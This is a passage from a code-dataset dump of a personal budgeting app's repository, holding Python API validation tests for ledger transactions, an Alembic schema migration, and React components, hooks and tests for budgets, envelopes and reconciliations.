\"accountTransactions\": [\n {\n \"accountId\": acct_id,\n \"amount\": 0,\n },\n ],\n },\n )\n assert resp.status_code == code\n\n @parameterized.expand(\n [\n (400, \"RecordedDate\", \"2021-01-24\"),\n (400, \"recordeddate\", \"2021-01-24\"),\n (400, \"recordedDate\", \"\"),\n (400, \"recordedDate\", None),\n (400, \"recordedDate\", \"yesterday\"),\n (400, \"recordedDate\", \"01/24/2021\"),\n (400, \"recordedDate\", \"2021-01-24T00:00:00\"),\n (201, \"recordedDate\", \"2021-01-24\"),\n ]\n )\n def test_transaction_requires_valid_recorded_date(self, code, key, value):\n ledger_id = self.create_ledger()\n cat_id = self.create_account_category(ledger_id)\n acct_id = self.create_account(cat_id)\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/transactions\",\n json={\n \"payee\": \"Unit Testers\",\n key: value,\n \"accountTransactions\": [\n {\n \"accountId\": acct_id,\n \"amount\": 0,\n },\n ],\n },\n )\n assert resp.status_code == code\n\n @parameterized.expand(\n [\n (400, \"AccountId\", \"auto\"),\n (400, \"accountId\", None),\n (400, \"accountId\", \"\"),\n (404, \"accountId\", 0),\n (404, \"accountId\", -1),\n (404, \"accountId\", 999),\n (400, \"accountId\", \"other\"),\n (201, \"accountId\", \"auto\"),\n ]\n )\n def test_transaction_requires_valid_account_id(self, code, key, value):\n ledger_id = self.create_ledger()\n acct_cat_id = self.create_account_category(ledger_id)\n acct_id = self.create_account(acct_cat_id)\n env_cat_id = self.create_envelope_category(ledger_id)\n env_id = self.create_envelope(env_cat_id)\n other_ledger_id = self.create_ledger()\n other_cat_id = self.create_account_category(other_ledger_id)\n other_acct_id = self.create_account(other_cat_id)\n\n if value == \"auto\":\n value = acct_id\n elif value == \"other\":\n value = other_acct_id\n\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/transactions\",\n json={\n \"recordedDate\": \"2021-01-24\",\n \"payee\": \"Unit Testers\",\n \"accountTransactions\": [\n {\n key: value,\n \"amount\": 10,\n },\n ],\n \"envelopeTransactions\": [\n {\n \"envelopeId\": env_id,\n \"amount\": 10,\n },\n ],\n },\n )\n assert resp.status_code == code\n\n @parameterized.expand(\n [\n (400, \"Amount\", 10),\n (400, \"amount\", None),\n (400, \"amount\", \"\"),\n (400, \"amount\", 11),\n (201, \"amount\", 10),\n ]\n )\n def test_transaction_requires_valid_account_amount(self, code, key, value):\n ledger_id = self.create_ledger()\n acct_cat_id = self.create_account_category(ledger_id)\n acct_id = self.create_account(acct_cat_id)\n env_cat_id = self.create_envelope_category(ledger_id)\n env_id = self.create_envelope(env_cat_id)\n\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/transactions\",\n json={\n \"recordedDate\": \"2021-01-24\",\n \"payee\": \"Unit Testers\",\n \"accountTransactions\": [\n {\n \"accountId\": acct_id,\n key: value,\n },\n ],\n \"envelopeTransactions\": [\n {\n \"envelopeId\": env_id,\n \"amount\": 10,\n },\n ],\n },\n )\n assert resp.status_code == code\n\n @parameterized.expand(\n [\n (400, \"EnvelopeId\", \"auto\"),\n (400, \"envelopeId\", None),\n (400, \"envelopeId\", \"\"),\n (404, \"envelopeId\", 0),\n (404, \"envelopeId\", -1),\n (404, \"envelopeId\", 999),\n (400, \"envelopeId\", \"other\"),\n (201, \"envelopeId\", \"auto\"),\n ]\n )\n def test_transaction_requires_valid_envelope_id(self, code, key, value):\n ledger_id = self.create_ledger()\n acct_cat_id = self.create_account_category(ledger_id)\n acct_id = self.create_account(acct_cat_id)\n env_cat_id = self.create_envelope_category(ledger_id)\n env_id = self.create_envelope(env_cat_id)\n other_ledger_id = self.create_ledger()\n other_cat_id = self.create_envelope_category(other_ledger_id)\n other_env_id = self.create_envelope(other_cat_id)\n\n if value == \"auto\":\n value = env_id\n elif value == \"other\":\n value = other_env_id\n\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/transactions\",\n json={\n \"recordedDate\": \"2021-01-24\",\n \"payee\": \"Unit Testers\",\n \"accountTransactions\": [\n {\n \"accountId\": acct_id,\n \"amount\": 10,\n },\n ],\n \"envelopeTransactions\": [\n {\n key: value,\n \"amount\": 10,\n },\n ],\n },\n )\n assert resp.status_code == code\n\n @parameterized.expand(\n [\n (400, \"Amount\", 10),\n (400, \"amount\", None),\n (400, \"amount\", \"\"),\n (400, \"amount\", 11),\n (201, \"amount\", 10),\n ]\n )\n def test_transaction_requires_valid_envelope_amount(self, code, key, value):\n ledger_id = self.create_ledger()\n acct_cat_id = self.create_account_category(ledger_id)\n acct_id = self.create_account(acct_cat_id)\n env_cat_id = self.create_envelope_category(ledger_id)\n env_id = self.create_envelope(env_cat_id)\n\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/transactions\",\n json={\n \"recordedDate\": \"2021-01-24\",\n \"payee\": \"Unit Testers\",\n \"accountTransactions\": [\n {\n \"accountId\": acct_id,\n \"amount\": 10,\n },\n ],\n \"envelopeTransactions\": [\n {\n \"envelopeId\": env_id,\n key: value,\n },\n ],\n },\n )\n assert resp.status_code == code\n\n def test_transaction_requires_sub_transactions(self):\n ledger_id = self.create_ledger()\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/transactions\",\n json={\n \"recordedDate\": \"2021-01-24\",\n \"payee\": \"Unit Testers\",\n },\n )\n assert resp.status_code == 400\n\n @parameterized.expand(\n [\n (400, [10], [11]), # one each, net positive\n (201, [11], [11]),\n (400, [-11], [-10]), # one each, net negative\n (201, [-10], [-10]),\n (400, [-10], [10]), # one each, mismatched signs\n (400, [10, 10], []), # only accounts, net positive\n (400, [-10, -10], []), # only accounts, net negative\n (201, [10, -10], []),\n (400, [], [10, 10]), # only envelopes, net positive\n (400, [], [-10, -10]), # only envelopes, net negative\n (201, [], [-10, 10]),\n ]\n )\n def test_transaction_requires_balanced_amounts(\n self, code, acct_amounts, env_amounts\n ):\n ledger_id = self.create_ledger()\n acct_cat_id = self.create_account_category(ledger_id)\n acct_id = self.create_account(acct_cat_id)\n env_cat_id = self.create_envelope_category(ledger_id)\n env_id = self.create_envelope(env_cat_id)\n\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/transactions\",\n json={\n \"recordedDate\": \"2021-01-24\",\n \"payee\": \"Unit Testers\",\n \"accountTransactions\": [\n {\n \"accountId\": acct_id,\n \"amount\": amount,\n }\n for amount in acct_amounts\n ],\n \"envelopeTransactions\": [\n {\n \"envelopeId\": env_id,\n \"amount\": amount,\n }\n for amount in env_amounts\n ],\n },\n )\n assert resp.status_code == code\n\n @parameterized.expand(\n [\n # Incomes\n (400, \"gain\", [10], [10]),\n (201, \"income\", [10], [10]),\n (201, \"refund\", [10], [10]),\n (201, \"opening_balance\", [10], [10]),\n (400, \"expense\", [10], [10]),\n (400, \"transfer\", [10], [10]),\n (400, \"allocation\", [10], [10]),\n (400, \"reallocation\", [10], [10]),\n # Expenses\n (400, \"loss\", [-10], [-10]),\n (400, \"income\", [-10], [-10]),\n (400, \"refund\", [-10], [-10]),\n (400, \"opening_balance\", [-10], [-10]),\n (201, \"expense\", [-10], [-10]),\n (400, \"transfer\", [-10], [-10]),\n (400, \"allocation\", [-10], [-10]),\n (400, \"reallocation\", [-10], [-10]),\n # Transfers\n (400, \"move\", [10, -10], []),\n (400, \"income\", [10, -10], []),\n (400, \"refund\", [10, -10], []),\n (400, \"opening_balance\", [10, -10], []),\n (400, \"expense\", [10, -10], []),\n (201, \"transfer\", [10, -10], []),\n (400, \"allocation\", [10, -10], []),\n (400, \"reallocation\", [10, -10], []),\n # Allocations\n (400, \"shuffle\", [], [-10, 10]),\n (400, \"income\", [], [-10, 10]),\n (400, \"refund\", [], [-10, 10]),\n (400, \"opening_balance\", [], [-10, 10]),\n (400, \"expense\", [], [-10, 10]),\n (400, \"transfer\", [], [-10, 10]),\n (201, \"allocation\", [], [-10, 10]),\n (201, \"reallocation\", [], [-10, 10]),\n # Invalid (multiple account and envelope transactions)\n (400, \"transfer\", [-10, 10], [-10, 10]),\n ]\n )\n def test_transaction_requires_valid_types(\n self, code, trn_type, acct_amounts, env_amounts\n ):\n ledger_id = self.create_ledger()\n acct_cat_id = self.create_account_category(ledger_id)\n acct_id = self.create_account(acct_cat_id)\n env_cat_id = self.create_envelope_category(ledger_id)\n env_id = self.create_envelope(env_cat_id)\n\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/transactions\",\n json={\n \"recordedDate\": \"2021-01-24\",\n \"payee\": \"Unit Testers\",\n \"type\": trn_type,\n \"accountTransactions\": [\n {\n \"accountId\": acct_id,\n \"amount\": amount,\n }\n for amount in acct_amounts\n ],\n \"envelopeTransactions\": [\n {\n \"envelopeId\": env_id,\n \"amount\": amount,\n }\n for amount in env_amounts\n ],\n },\n )\n assert resp.status_code == code\n" }, { "alpha_fraction": 0.6511350274085999, "alphanum_fraction": 0.6654719114303589, "avg_line_length": 42.2931022644043, "blob_id": "eac0b3f07524bd6ae08578ca5cba962aa114f85c", "content_id": "8090e15d93d2e60aa7382a0faf6f273064ba1109", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5022, "license_type": "permissive", "max_line_length": 175, "num_lines": 116, "path": "/backend/migrations/versions/bb38a05f5353_initial_migration.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\"Initial migration\n\nRevision ID: bb38a05f5353\nRevises: \nCreate Date: 2021-02-13 15:38:59.579337\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'bb38a05f5353'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('ledger',\n sa.Column('created', sa.DateTime(), nullable=False),\n sa.Column('last_updated', sa.DateTime(), nullable=False),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=128), nullable=False),\n sa.Column('currency', sa.Integer(), nullable=False),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('account_category',\n sa.Column('created', sa.DateTime(), nullable=False),\n sa.Column('last_updated', sa.DateTime(), nullable=False),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('ledger_id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=128), nullable=False),\n sa.ForeignKeyConstraint(['ledger_id'], ['ledger.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('envelope_category',\n sa.Column('created', sa.DateTime(), nullable=False),\n sa.Column('last_updated', sa.DateTime(), nullable=False),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('ledger_id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=128), nullable=False),\n sa.ForeignKeyConstraint(['ledger_id'], ['ledger.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('transaction',\n sa.Column('created', sa.DateTime(), nullable=False),\n sa.Column('last_updated', sa.DateTime(), nullable=False),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('ledger_id', sa.Integer(), nullable=False),\n sa.Column('transaction_type', sa.Enum('income', 'refund', 'opening_balance', 'expense', 'transfer', 'allocation', 'reallocation', name='transactiontype'), nullable=False),\n sa.Column('recorded_date', sa.Date(), nullable=False),\n sa.Column('payee', sa.String(length=256), nullable=False),\n sa.ForeignKeyConstraint(['ledger_id'], ['ledger.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('account',\n sa.Column('created', sa.DateTime(), nullable=False),\n sa.Column('last_updated', sa.DateTime(), nullable=False),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('category_id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=128), nullable=False),\n sa.Column('institution', sa.String(length=256), nullable=False),\n sa.Column('account_number', sa.String(length=256), nullable=False),\n sa.Column('archived', sa.Boolean(), nullable=False),\n sa.Column('external_id', sa.String(length=256), nullable=False),\n sa.ForeignKeyConstraint(['category_id'], ['account_category.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('envelope',\n sa.Column('created', sa.DateTime(), nullable=False),\n sa.Column('last_updated', sa.DateTime(), nullable=False),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('category_id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=128), nullable=False),\n sa.Column('archived', sa.Boolean(), nullable=False),\n sa.Column('external_id', sa.String(length=256), nullable=False),\n sa.ForeignKeyConstraint(['category_id'], ['envelope_category.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('account_transaction',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('transaction_id', sa.Integer(), nullable=False),\n sa.Column('account_id', sa.Integer(), nullable=False),\n sa.Column('amount', sa.Integer(), nullable=False),\n sa.Column('memo', sa.String(length=256), nullable=False),\n sa.Column('cleared', sa.Boolean(), nullable=False),\n sa.ForeignKeyConstraint(['account_id'], ['account.id'], ),\n sa.ForeignKeyConstraint(['transaction_id'], ['transaction.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('envelope_transaction',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('transaction_id', sa.Integer(), nullable=False),\n sa.Column('envelope_id', sa.Integer(), nullable=False),\n sa.Column('amount', sa.Integer(), nullable=False),\n sa.Column('memo', sa.String(length=256), nullable=False),\n sa.ForeignKeyConstraint(['envelope_id'], ['envelope.id'], ),\n sa.ForeignKeyConstraint(['transaction_id'], ['transaction.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('envelope_transaction')\n op.drop_table('account_transaction')\n op.drop_table('envelope')\n op.drop_table('account')\n op.drop_table('transaction')\n op.drop_table('envelope_category')\n op.drop_table('account_category')\n op.drop_table('ledger')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.661570131778717, "alphanum_fraction": 0.662158191204071, "avg_line_length": 34.79999923706055, "blob_id": "9e913809d464f7fcf982e487bc24f39e4649010b", "content_id": "78ce3a4440e790308c5414df9f762307b75cd359", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3401, "license_type": "permissive", "max_line_length": 97, "num_lines": 95, "path": "/webapp/src/features/budgets/routes/BudgetExpensesPage.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Paper from '@material-ui/core/Paper';\nimport Tab from '@material-ui/core/Tab';\nimport { makeStyles } from '@material-ui/core/styles';\nimport AddCircleIcon from '@material-ui/icons/AddCircle';\nimport TabContext from '@material-ui/lab/TabContext';\nimport TabList from '@material-ui/lab/TabList';\nimport TabPanel from '@material-ui/lab/TabPanel';\nimport React from 'react';\nimport { Routes, Route, useParams, useSearchParams } from 'react-router-dom';\n\nimport FullAppPage from 'common/components/FullAppPage';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport * as routes from 'common/utils/routes';\nimport AnnualExpensesList from '../components/AnnualExpensesList';\nimport CreateAnnualExpenseDialog from '../components/CreateAnnualExpenseDialog';\nimport CreatePeriodicExpenseDialog from '../components/CreatePeriodicExpenseDialog';\nimport ModifyAnnualExpenseDialog from '../components/ModifyAnnualExpenseDialog';\nimport ModifyPeriodicExpenseDialog from '../components/ModifyPeriodicExpenseDialog';\nimport PeriodicExpensesList from '../components/PeriodicExpensesList';\nimport useFetchBudget from '../hooks/useFetchBudget';\n\nconst useStyles = makeStyles({\n tabPanel: {\n padding: 0,\n },\n});\n\nconst BudgetExpensesPage = () => {\n const classes = useStyles();\n const navigate = useNavigateKeepingSearch();\n\n const [searchParams, setSearchParams] = useSearchParams({ tab: 'periodic' });\n const tabValue = searchParams.get('tab');\n const handleChangeTab = (e, tab) => setSearchParams({ tab });\n\n const { id } = useParams();\n const { data } = useFetchBudget({ id });\n\n const parentRoute = React.useMemo(() => ({ pathname: `${routes.BUDGET}/${id}`, search: '' }), [\n id,\n ]);\n\n const primaryActions = [\n {\n 'aria-label': `Create ${tabValue} expense`,\n icon: <AddCircleIcon />,\n onClick: () => navigate(`create-${tabValue}`),\n text: `Create ${tabValue} expense`,\n },\n ];\n\n const title = data ? `${data.name} Expenses` : '...';\n const periods = data ? data.periods : 1;\n\n return (\n <FullAppPage back={parentRoute} primaryActions={primaryActions} title={title}>\n <TabContext value={tabValue}>\n <Paper>\n <TabList\n aria-label='expense tabs'\n centered\n indicatorColor='primary'\n onChange={handleChangeTab}\n >\n <Tab value='periodic' label='Periodic' />\n <Tab value='annual' label='Annual' />\n </TabList>\n </Paper>\n <TabPanel className={classes.tabPanel} value='periodic'>\n <PeriodicExpensesList budgetId={id} />\n </TabPanel>\n <TabPanel className={classes.tabPanel} value='annual'>\n <AnnualExpensesList budgetId={id} />\n </TabPanel>\n </TabContext>\n <Routes>\n <Route path='create-periodic' element={<CreatePeriodicExpenseDialog budgetId={id} />} />\n <Route\n path='modify-periodic/:expenseId'\n element={<ModifyPeriodicExpenseDialog budgetId={id} />}\n />\n <Route\n path='create-annual'\n element={<CreateAnnualExpenseDialog budgetId={id} periods={periods} />}\n />\n <Route\n path='modify-annual/:expenseId'\n element={<ModifyAnnualExpenseDialog budgetId={id} periods={periods} />}\n />\n </Routes>\n </FullAppPage>\n );\n};\n\nexport default BudgetExpensesPage;\n" }, { "alpha_fraction": 0.6258124709129333, "alphanum_fraction": 0.6258124709129333, "avg_line_length": 25.268293380737305, "blob_id": "5ff0549d6c507786375b24f3ec09ca75db75d1c5", "content_id": "911cebe7cfea212079f18c856c3441648e71bb74", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1077, "license_type": "permissive", "max_line_length": 91, "num_lines": 41, "path": "/webapp/src/features/envelopes/hooks/useEnvelopes.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\nimport sortBy from 'lodash/sortBy';\nimport React from 'react';\nimport { useQuery } from 'react-query';\n\nimport useErrorMessage from 'common/hooks/useErrorMessage';\nimport useSelectedLedger from 'common/hooks/useSelectedLedger';\n\nexport default function useEnvelopes({ sorted = true } = {}) {\n const ledger = useSelectedLedger();\n\n const createErrorMessage = useErrorMessage({ request: 'Unable to retrieve envelopes' });\n\n const { data, error, status } = useQuery(\n ['envelope-categories', { ledger }],\n async () => {\n const { data: resp } = await axios.get(`/api/ledgers/${ledger}/envelope-categories`);\n return resp;\n },\n { enabled: !!ledger },\n );\n\n const categories = React.useMemo(() => {\n if (!data) {\n return [];\n }\n if (!sorted) {\n return data.categories;\n }\n return sortBy(data.categories, ['name']).map((c) => ({\n ...c,\n envelopes: sortBy(c.envelopes, ['name']),\n }));\n }, [data, sorted]);\n\n return {\n categories,\n error: createErrorMessage(error),\n status,\n };\n}\n" }, { "alpha_fraction": 0.6729857921600342, "alphanum_fraction": 0.6824644804000854, "avg_line_length": 34.16666793823242, "blob_id": "90505d8990083be649a5d0d38372364f91023e67", "content_id": "4db7f05d633a6c9d61d8c913aa4a61f5a5f0be91", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 211, "license_type": "permissive", "max_line_length": 71, "num_lines": 6, "path": "/webapp/src/features/reconciliations/utils/calculateNextReconciliationDates.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import moment from 'moment';\n\nexport default (endingDate) => ({\n beginningDate: moment(endingDate).add(1, 'day').format('YYYY-MM-DD'),\n endingDate: moment(endingDate).add(1, 'month').format('YYYY-MM-DD'),\n});\n" }, { "alpha_fraction": 0.7801268696784973, "alphanum_fraction": 0.7801268696784973, "avg_line_length": 38.41666793823242, "blob_id": "d926fe2a15755a568140b34a4b6a9c83e1d603f5", "content_id": "c81877d8f75e657778dd5c7682f6f7ad9dc2b74e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 473, "license_type": "permissive", "max_line_length": 77, "num_lines": 12, "path": "/webapp/src/features/reconciliations/hooks/useNavigateToCreateReconciliation.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { useLocation } from 'react-router';\n\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport { createReconciliationRoute } from 'common/utils/routes';\n\nexport default function useNavigateToCreateReconciliation(accountId) {\n const location = useLocation();\n const navigate = useNavigateKeepingSearch();\n\n const createRoute = createReconciliationRoute(accountId);\n return () => navigate(createRoute, { state: { from: location } });\n}\n" }, { "alpha_fraction": 0.5760869383811951, "alphanum_fraction": 0.614130437374115, "avg_line_length": 19.44444465637207, "blob_id": "cbed2c36e48aef93b87447189650df40b67d9ecc", "content_id": "eead3404184adb46bb90c4714ca572a0f0af0e2d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 184, "license_type": "permissive", "max_line_length": 46, "num_lines": 9, "path": "/webapp/src/common/utils/fromNow.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import moment from 'moment';\n\nexport default (time) => {\n // 10s before or after\n if (Math.abs(moment().diff(time)) < 10000) {\n return 'just now';\n }\n return time.fromNow();\n};\n" }, { "alpha_fraction": 0.578965425491333, "alphanum_fraction": 0.6344638466835022, "avg_line_length": 29.40625, "blob_id": "59e310690a3aa7cd7fa9a251597ace1aa01c5f06", "content_id": "af98e160c54d6b55169272e6d18254bfda3e79c9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2919, "license_type": "permissive", "max_line_length": 98, "num_lines": 96, "path": "/webapp/src/features/reconciliations/components/__tests__/AccountReconciliationsList.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { configure, screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport renderWithRouter from 'test/renderWithRouter';\nimport { reconciliationGenerator } from 'test/data-generators';\nimport setupMockApi from 'test/setupMockApi';\nimport AccountReconciliationsList from '../AccountReconciliationsList';\n\nconst render = (configureApi = () => 0) => {\n configure({ defaultHidden: true });\n\n setSelectedLedger('2');\n\n const mockApi = setupMockApi({ delayResponse: 0 });\n configureApi(mockApi);\n\n const queryClient = new QueryClient({\n defaultOptions: {\n queries: {\n retry: false,\n staleTime: Infinity,\n },\n },\n });\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <AccountReconciliationsList accountId={9} />\n </QueryClientProvider>,\n ),\n mockApi,\n queryClient,\n };\n};\n\ntest('should display alert when no reconciliations exist', async () => {\n const { history, mockApi } = render((api) => {\n api.onGet('/api/accounts/9/reconciliations?page=1&size=25').reply(200, {\n reconciliations: [],\n total: 0,\n });\n });\n\n await waitFor(() => expect(mockApi.history.get).toHaveLength(2));\n\n expect(screen.getByRole('alert')).toBeInTheDocument();\n\n userEvent.click(screen.getByRole('button', { name: /create/i }));\n await waitFor(() => expect(history.location.pathname).toBe('/account/9/create-reconciliation'));\n});\n\ntest('should display reconciliations for account', async () => {\n const { history, mockApi } = render((api) => {\n api.onGet('/api/accounts/9/reconciliations?page=1&size=25').reply(200, {\n reconciliations: [\n reconciliationGenerator({\n accountId: 9,\n beginningDate: '2021-10-05',\n endingDate: '2021-11-04',\n endingBalance: 123456,\n }),\n reconciliationGenerator({\n accountId: 9,\n beginningDate: '2021-11-05',\n endingDate: '2021-12-04',\n endingBalance: 132546,\n }),\n reconciliationGenerator({\n id: 17,\n accountId: 9,\n beginningDate: '2021-12-05',\n endingDate: '2022-01-04',\n endingBalance: 143265,\n }),\n ],\n total: 3,\n });\n });\n\n await waitFor(() => expect(mockApi.history.get).toHaveLength(2));\n\n expect(\n screen.getByRole('button', { name: '2021-10-05 - 2021-11-04 $1,234.56' }),\n ).toBeInTheDocument();\n expect(\n screen.getByRole('button', { name: '2021-11-05 - 2021-12-04 $1,325.46' }),\n ).toBeInTheDocument();\n\n userEvent.click(screen.getByRole('button', { name: '2021-12-05 - 2022-01-04 $1,432.65' }));\n\n await waitFor(() => expect(history.location.pathname).toBe('/reconciliation/17'));\n});\n" }, { "alpha_fraction": 0.596256673336029, "alphanum_fraction": 0.596256673336029, "avg_line_length": 30.16666603088379, "blob_id": "6190dd6c9a9bb54de55742114e550be5e6685e45", "content_id": "bf32c5631dcebeaf4bba7c4d92407e4311691f57", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 374, "license_type": "permissive", "max_line_length": 90, "num_lines": 12, "path": "/webapp/src/features/reconciliations/hooks/useFetchLastReconciliation.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\nimport { useQuery } from 'react-query';\n\nexport default ({ accountId, enabled = true, ...opts } = {}) =>\n useQuery(\n ['last-reconciliation', accountId],\n async () => {\n const { data } = await axios.get(`/api/accounts/${accountId}/reconciliations/last`);\n return data;\n },\n { enabled: enabled && !!accountId, ...opts },\n );\n" }, { "alpha_fraction": 0.6792310476303101, "alphanum_fraction": 0.6799849271774292, "avg_line_length": 34.85135269165039, "blob_id": "cd7f0a9b2b69368897a13c78a64176f2609b7869", "content_id": "d8a3c6e007e8995cf4739f374fdd3a4c295f932e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2653, "license_type": "permissive", "max_line_length": 92, "num_lines": 74, "path": "/webapp/src/features/transactions/components/TransactionDetailsList.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Divider from '@material-ui/core/Divider';\nimport LinearProgress from '@material-ui/core/LinearProgress';\nimport List from '@material-ui/core/List';\nimport ListItem from '@material-ui/core/ListItem';\nimport ListItemIcon from '@material-ui/core/ListItemIcon';\nimport ListItemSecondaryAction from '@material-ui/core/ListItemSecondaryAction';\nimport ListItemText from '@material-ui/core/ListItemText';\nimport ListSubheader from '@material-ui/core/ListSubheader';\nimport CheckIcon from '@material-ui/icons/Check';\nimport Alert from '@material-ui/lab/Alert';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport useFormatMoney from 'common/hooks/useFormatMoney';\nimport { useAccountName } from 'features/accounts';\nimport { useEnvelopeName } from 'features/envelopes';\nimport useFetchTransaction from '../hooks/useFetchTransaction';\nimport TransactionIcon from './TransactionIcon';\n\nconst TransactionDetailsList = ({ id }) => {\n const { data, isLoading } = useFetchTransaction({ id });\n const formatMoney = useFormatMoney();\n const accountName = useAccountName();\n const envelopeName = useEnvelopeName();\n\n if (isLoading) {\n return <LinearProgress />;\n }\n\n if (!data) {\n return <Alert severity='error'>Unable to retrieve transaction details</Alert>;\n }\n\n return (\n <List dense>\n <ListItem>\n <ListItemIcon>\n <TransactionIcon type={data.type} />\n </ListItemIcon>\n <ListItemText primary={data.payee} secondary={data.recordedDate} />\n </ListItem>\n <Divider />\n {data.accountTransactions.length > 0 && <ListSubheader>Accounts</ListSubheader>}\n {data.accountTransactions.map((trn) => (\n <ListItem key={trn.id}>\n {trn.cleared && (\n <ListItemIcon>\n <CheckIcon />\n </ListItemIcon>\n )}\n <ListItemText\n inset={!trn.cleared}\n primary={accountName(trn.accountId)}\n secondary={trn.memo}\n />\n <ListItemSecondaryAction>{formatMoney(trn.amount)}</ListItemSecondaryAction>\n </ListItem>\n ))}\n {data.envelopeTransactions.length > 0 && <ListSubheader>Envelopes</ListSubheader>}\n {data.envelopeTransactions.map((trn) => (\n <ListItem key={trn.id}>\n <ListItemText inset primary={envelopeName(trn.envelopeId)} secondary={trn.memo} />\n <ListItemSecondaryAction>{formatMoney(trn.amount)}</ListItemSecondaryAction>\n </ListItem>\n ))}\n </List>\n );\n};\n\nTransactionDetailsList.propTypes = {\n id: PropTypes.oneOfType([PropTypes.number, PropTypes.string]).isRequired,\n};\n\nexport default TransactionDetailsList;\n" }, { "alpha_fraction": 0.652211606502533, "alphanum_fraction": 0.6548135280609131, "avg_line_length": 31.94285774230957, "blob_id": "9b5e7d5150f2b5d6a0e032baabad1577c8e3d226", "content_id": "16f9dc3f428cd706c8b8d5e11a527a3c3af53e61", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2306, "license_type": "permissive", "max_line_length": 91, "num_lines": 70, "path": "/webapp/src/features/budgets/components/IncomeSummary.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import ArrowForwardIcon from '@material-ui/icons/ArrowForward';\nimport CircularProgress from '@material-ui/core/CircularProgress';\nimport IconButton from '@material-ui/core/IconButton';\nimport List from '@material-ui/core/List';\nimport ListItem from '@material-ui/core/ListItem';\nimport ListItemText from '@material-ui/core/ListItemText';\nimport { makeStyles } from '@material-ui/core/styles';\nimport Typography from '@material-ui/core/Typography';\nimport Alert from '@material-ui/lab/Alert';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport useFormatMoney from 'common/hooks/useFormatMoney';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport useFetchBudgetedIncomes from '../hooks/useFetchBudgetedIncomes';\n\nconst useStyles = makeStyles((theme) => ({\n incomeHeader: {\n display: 'flex',\n padding: theme.spacing(2, 2, 0),\n },\n editIcon: {\n marginLeft: 'auto',\n },\n}));\n\nconst IncomeSummary = ({ budgetId }) => {\n const classes = useStyles();\n const formatMoney = useFormatMoney();\n const navigate = useNavigateKeepingSearch();\n const { error, incomes, status } = useFetchBudgetedIncomes({ budgetId });\n\n const handleEditNav = () => navigate('incomes');\n\n return (\n 